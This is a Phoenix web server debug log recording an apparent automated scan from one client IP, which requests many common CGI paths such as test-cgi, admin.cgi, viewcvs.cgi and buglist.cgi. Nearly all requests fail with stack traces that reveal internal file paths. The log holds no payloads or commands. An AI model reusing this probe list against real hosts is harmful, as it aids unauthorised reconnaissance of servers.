    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:52.289000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41284] GET /cgi-bin/status
[Thu Sep  3 08:40:52.305000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41284] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/status (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:52.932000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41294] GET /cgi-bin/status.cgi
[Thu Sep  3 08:40:52.950000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41294] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/status.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:53.564000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41288] GET /cgi-bin/test.cgi
[Thu Sep  3 08:40:53.593000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41288] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:54.227000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41302] GET /cgi-bin/test.sh
[Thu Sep  3 08:40:54.253000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41302] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:54.888000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41310] GET /cgi-bin/test-cgi
[Thu Sep  3 08:40:54.924000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41310] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/test-cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:55.028000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41320] GET /
[Thu Sep  3 08:40:55.029000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:41320] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:40:55.031000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41320] Sent 200 in 2ms
[Thu Sep  3 08:40:55.551000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41324] GET /cgi-bin/upload.cgi
[Thu Sep  3 08:40:55.579000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41324] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/upload.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:55.597000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41320] GET /_mt/mt.cgi
[Thu Sep  3 08:40:55.621000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41320] ** (Phoenix.Router.NoRouteError) no route found for GET /_mt/mt.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:56.286000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41334] GET /admin.cgi
[Thu Sep  3 08:40:56.317000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41334] ** (Phoenix.Router.NoRouteError) no route found for GET /admin.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:56.460000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41336] GET /cgi-bin/urlcount.cgi
[Thu Sep  3 08:40:56.478000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41336] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/urlcount.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:57.088000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41356] GET /cgi-bin/viewcvs.cgi
[Thu Sep  3 08:40:57.111000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41356] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/viewcvs.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:57.762000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41372] GET /cgi-bin/wa
[Thu Sep  3 08:40:57.783000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41372] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:57.942000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41340] GET /administrator.cgi
[Thu Sep  3 08:40:57.963000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41340] ** (Phoenix.Router.NoRouteError) no route found for GET /administrator.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:58.379000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41386] GET /cgi-bin/wa.cgi
[Thu Sep  3 08:40:58.403000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41386] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:58.602000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41394] GET /buglist.cgi
[Thu Sep  3 08:40:58.626000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41394] ** (Phoenix.Router.NoRouteError) no route found for GET /buglist.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:59.183000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41402] GET /cgi-bin/wa.exe
[Thu Sep  3 08:40:59.232000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41402] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:40:59.390000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:41416] GET /cgi/mid.cgi
[Thu Sep  3 08:40:59.436000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:41416] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi/mid.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

